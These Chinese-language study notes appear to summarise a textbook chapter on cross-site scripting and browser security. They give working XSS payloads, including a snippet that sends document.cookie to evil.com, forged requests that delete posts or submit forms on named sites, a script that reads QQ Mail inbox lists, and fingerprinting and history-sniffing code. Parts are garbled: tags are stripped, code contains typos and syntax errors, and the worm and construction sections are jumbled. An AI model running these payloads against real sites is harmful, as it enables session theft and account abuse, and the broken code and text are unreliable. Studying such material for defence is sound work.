跨站脚本攻击
XSS简介
XSS攻击进阶
XSS攻击平台
终极武器:XSS Worm
XSS构造技巧
XSS的防御
HttpOnly
输入检查
输出检查
正确地防御XSS
处理富文本
防御DOM Based XSS
换个角度看XSS的风险
浏览器安全
同源策略
影响源的因素:host,子域名,端口,协议
a.com通过以下代码:
加载了b.com上的b.js,但是b.js是运行在a.com页面中的,因此相对于当前打开的页面(a.com)来说,b.js的源就应该是a.com而非b.com
不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
XMLHttpRequest不能跨域访问资源。但是有跨域请求的需求,因此W3C指定了XMLHttpRequest的跨域访问标准。它需要通过目标域返回的Http头来授权是否允许跨域访问,因此HTTP头对于JavaScript来说一般是无法控制的,所以认为这个方案是可行的。注意:这个跨域访问方案的安全基础就是信任“Javascript无法控制该HTTP头”,如果此信任基础被打破,则此方案也就不再安全。
浏览器沙箱
每个单独的页面是一个进程。浏览器加载的第三方插件如Flash、Java、PDF、.NET Framework都成为了被攻击热点。
恶意网址拦截
浏览器使用黑名单策略来警告用户。常见的恶意网址分为两类:
1、挂马网站,通常包含恶意的Javascript或Flash,通过利用浏览器的漏洞,执行shellcode,在电脑中植入木马
2、钓鱼网站:模仿知名网站的相似页面
高速发展的浏览器安全
跨站脚本攻击
Cross Site Script,因为和CSS重名,所以改名XSS
XSS简介
通常指黑客通过“HTML注入”纂改了页面,插入了恶意的脚本,从而在用户浏览页面时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是跨域的,所以叫“跨站脚本”。但是发展到今天,由于Javascript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,这个名字保留了下来。
假设一个页面把用户输入的参数输出到页面上:
1 ".$input."
如果提交一段HTML代码:
http://www.a.com/test.php?param=alert(/xss/)
会发现alert(/xss/)被执行了。
XSS分为以下几类:
1)反射型XSS: 就如上面的例子,也就是黑客需要诱使用户点击链接。也叫作”非持久型XSS“(Non-persistent XSS)
2)存储型XSS:把用户输入的数据”存储“在服务器端。这种XSS具有很强的稳定性。
比较常见的一个场景是,黑客写下一篇包含恶意Javascript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存在服务器端,所以中XSS攻击就叫做”存储型XSS”。
3)DOM based XSS:也是一种反射型XSS,由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
看如下代码:
1 7 8 9
这段代码的作用就是点击write按钮后在当前页面插入一个链接。
构造如下数据:
’ onclick=alert(/xss/) //
输入后,页面代码就成了
testLink
首先用一个单引号闭合掉href
的第一个单引号,然后插入一个onclick
事件,最后再用注释符//
注释掉第二个单引号。
实际上,这里还有另外一种利用方式—除了构造一个新事件外,还可以选择闭合掉标签,并插入一个新的HTML标签。尝试如下输入:
'> scr=# onerror=alert(/xss2/) /><'
页面代码编程
XSS攻击进阶
初探XSS Payload
XSS Payload就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何Javascript脚本能做到的事情,XSS Payload都能做到。
一个最常见的XSS Payload就是读取浏览器的Cookie对象,从而发起”Cookie劫持”攻击。
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不用通过密码,而直接登录进用户的账户。
如下所示,攻击者先加载一个远程脚本:
http://www.a.com/test.htm?abc=“>
真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。
在evil.js中,可以通过如下代码窃取Cookie:
var img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。
事实上,http://www.evil.com/log 并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录 。
这样就完成了一个最简单的窃取Cookie的XSS Payload。
黑客可以用这个Cookie直接登录。
防止:Cookie的“HttpOnly”标识可以防止”Cookie劫持”,我们将在稍后的章节中在具体介绍。
强大的XSS Payload
构造Get与Post请求:例如在Sohu上有一篇文章, 想通过XSS删除它,该如何做呢?
假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如下:
正常删除该文章的链接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
对于攻击者来说,只需要直到文章的id,就能够通过这个请求删除这篇文章了。
攻击者可以通过插入一张图片来发起一个get请求:
var img=document.createElement("img"); img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012"; document.body.appendChild(img);
攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。
再看一个复杂点的例子。如果网站应用者接受POST请求,那么攻击者如何实施XSS攻击呢?
下例是Douban的一处表单。攻击者将通过Javascript发出一个post请求,提交此表单,最终发出一条新的消息。
1 var f=document.createElement("form"); 2 f.action=""; 3 f.method="post"; 4 document.body.appendChild(f); 5 var i1=document.createElement("input"); 6 i1.name=" ck"; 7 i1.value=" JiuY"; 8 f.appendChild(i1); 9 var i2=document.createElement("input"); 10 i2.name=" mb_text"; 11 i2.value="testtestseset"; 12 f.appendChild(i2); 13 f.submit();
如果表单参数很多的话,通过构造DOM的方式,代码将会很冗长。所以可以直接写HTML代码:
var dd=document.createElement("div"); document.body.appendChild(dd); dd.innerHTML='' document.getElementById("xssform").submit();
第二种方法是,通过XMLHttpRequest发送一个POST请求:
1 var url = "http://www.douban.com"; 2 var postStr = "ck=JiuY&mb_text=test1234"; 3 var ajax = null; 4 if (window.XMLHttpRequest) { 5 ajax = new XMLHttpRequest(); 6 } else if (window.ActiveXObject) { 7 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 8 } else { 9 return; 10 } 11 ajax.open("POST", url, true); 12 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 13 ajax.send(postStr); 14 ajax.onreadystatechange = function() { 15 if (ajax.readyState == 4 && ajax.status == 200) { 16 alert("Done"); 17 } 18 }
通过这个例子可以看出,使用Javascript模拟提交表单并不是一件困难的事情.
下面的例子将演示如何通过XSS Payload读取QMail用户的邮件文件夹:
首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后,点击“收件箱”后。抓包发现浏览器发出了如下请求:
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1
经过分析,真正能访问到邮件列表的链接是:
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…
这里有一个无法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。
所以XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能得到邮件列表了。XSS Payload如下:
1 if (top.window.location.href.indexOf("sid=") > 0) { 2 var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24); 3 } 4 var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid; 5 var ajax = null; 6 if (window.XMLHttpRequest) { 7 ajax = new XMLHttpRequest(); 8 } else if (window.ActiveXObject) { 9 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 10 } else { 11 return; 12 } 13 ajax.open("GET", folder_url, true); 14 ajax.send(null); 15 ajax.onreadystatechange = function() { 16 if (ajax.readyState == 4 && ajax.status == 200) { 17 alert(ajax.responseText); 18 //document.write(ajax.responseText); 19 } 20 }
邮件列表的内容成功被XSS Payload获取到。
钓鱼:
XSS并非万能。前面的例子都是Javascript脚本,缺少”与用户的交互”,碰到验证码,和修改密码时需要输入旧密码,XSS Payload就会失效。
对于验证码,XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施–攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload
从而绕过验证码。
修改密码的问题比较复杂,为了窃取密码,攻击者可以将XSS与”钓鱼”结合。
实现思路很简单:利用Javascript在当前页面上”画出”一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。
识别用户浏览器:
navigator.userAgent
但是userAgent是可以伪造的。这个信息不一定准确。
由于浏览器之间的实现存在差异,利用这种差异分辨浏览器几乎不会错误。
参考:
1 if (window.ActiveObject) { 2 //MSIE 6.0 or below 3 //判断是否IE 7以上 4 if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") { 5 if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8 6 //MSIE 8.0 7 } 8 //MSIE 7.0 9 } 10 return "msie"; //MSIE6.0 11 } else if { 12 typeof window.opera != "undefined") { //Opera独占 13 return "opera"; 14 } else if (typeof window.netscape != "undefined") { //Mozilla独占 15 if (typeof window.Iterator != "undefined") { 16 //Firefox 2.0以上支持这个对象 17 if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9 18 //Firefox 3 19 } 20 //Firefox 2.0 21 } 22 return "mozilla"; 23 } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari 24 try { 25 if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome 26 return "Chrome"; 27 } 28 } catch(e) { 29 return "safari"; 30 } 31 } else { //unknown 32 return "unknown"; 33 }
识别用户安装的软件:
在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”–黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到
入木马的目的。
看如下代码:
try { var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper'); } catch (e){ //异常了,不存在该控件 }
通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。
在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript。
浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。
Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件:
所以直接查询”navigator.plugins”对象,就能找到所有的插件了。例如 navigator.plugins[0]
而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。
在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:
chrome://flashgot/skin/icon32.png
扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在
1 var m = new Image(); 2 m.onload = function() { 3 alert(1); //图片存在 4 }; 5 m.onerror = function() { 6 alert(2); //图片不存在 7 }; 8 m.src = "chrome://flashgot/skin/icon32.png"; //连接图片
CSS History Hack:
我们再看看另外一个有趣的XSS Payload—通过CSS,来发现一个用户曾经访问过的网站。
原理是利用style的visited桑性—如果用户曾经访问过某个链接,那么这个链接的颜色会变的与众不同。
1 < script > 2 var websites = [...要检测的访问过的网址列表,可能有几千个...]; 3 //遍历每个URL 4 for (var i = 0; i < websites.length: i++) { 5 var link = document.createElement("a"); 6 link.id = "id" + i; 7 link.href = websites[i]; 8 link.innerHTML = websites[i]; 9 document.write(''); 12 document.body.appendChild(link); 13 var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color"); 14 document.body.removeChild(link); 15 if (color == "rgb(255,0,0)") { //visited 16 var item = document.createElement('li'); 17 item.appendChild(link); 18 document.getElementById('visited').appendChild(item); 19 } else { //Not visited 20 var item = document.createElement('li'); 21 item.appendChild(link); 22 document.getElementById('notvisited').appendChild(item); 23 } 24 } < /script>/
但是Firefox已经决定修补这个问题
获取用户的真实IP地址:
很多时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。
javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。
在XSS攻击框架”Attack API”中,就有一个获取本地IP地址的API:
1 AttackAPI.dom.getInternalIP = function() { 2 try { 3 var sock = new java.net.Socket(); 4 sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); 5 sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port)); 6 return sock.getLocalAddress().getHostAddress(); 7 } catch(e) {} 8 return '127.0.0.1'; 9 };
此外,还有两个利用Java获取本地网络信息的API:
XSS攻击平台:
XSS Payload如此强大,为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害,以及方便渗透测试使用。
Attack API: Attack API是安全研究者pdp所主导的一个项目,他总结了很多能够直接使用的XSS Payload,归纳为API的方式。
BeFF:曾经是最好的XSS演示平台。其所演示的是一个完整的XSS攻击过程。
XSS-Proxy:是一个轻量级的XSS攻击平台,通过嵌套iFrame的方式可以实时地远程控制被XS攻击的浏览器。
这些XSS攻击平台有助于深入理解XSS的原理和危害。
终极武器:XSS Worm
Samy Worm: 其次,MySpace同时还过滤了”javascript”、”onreadystatechange”等敏感词,所以Samy用了“拆分法”绕过这些限制。 百度空间蠕虫: 利用字符编码: 最终的效果是: 中间的代码前部被 使用 需要注意的是
2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。
MySpace过滤了很多危险的HTML标签,只保留了标签、
标签、
style,还是有办法构造出XSS的。比如:
最后Samy通过Ajax构造的Post请求,完成了在用户的heros列表里添加自己名字的功能;同事复制蠕虫自身进行传播。至此,XSS Worm就完成了。
具体代码太长。。。
但是发起XSS Worm攻击是有一定的条件的:
一般来说,用户之间发生交互行为的页面,如果存在存储性XSS,则比较容易发起XSS Worm攻击。
比如发送站内信、用户留言等页面,都是XSS Worm的高发区,需要重点关注。而相对的,如果一个页面只能由用户个人查看,比如”用户个人资料设置”页面,因为缺乏用户之间互动的功能
所以即使存在XSS,也不能被用于XSS Worm的传播。
调试Javascript:
要想写好XSS Payload,需要有很好的Javascript功底,调试javascript是必不可少的技能。
Firebug …XSS构造技巧
“百度搜藏”曾经出现过一个这样的XSS漏洞。百度在一个
希望达到的输出效果是: " />
假设长度限制为20个字节,则这段XSS会被切割为: $var
输出为: ">
id=1 type="text" value="">" />
注释掉了。
标签:
标签是定义所有使用”相对路径”标签的hosting地址
例如:
标签可以出现在页面的任何地方,并作用于该标签之后的所有标签。
攻击者如果在页面中插入了
标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用”相对路径“的标签。比如:...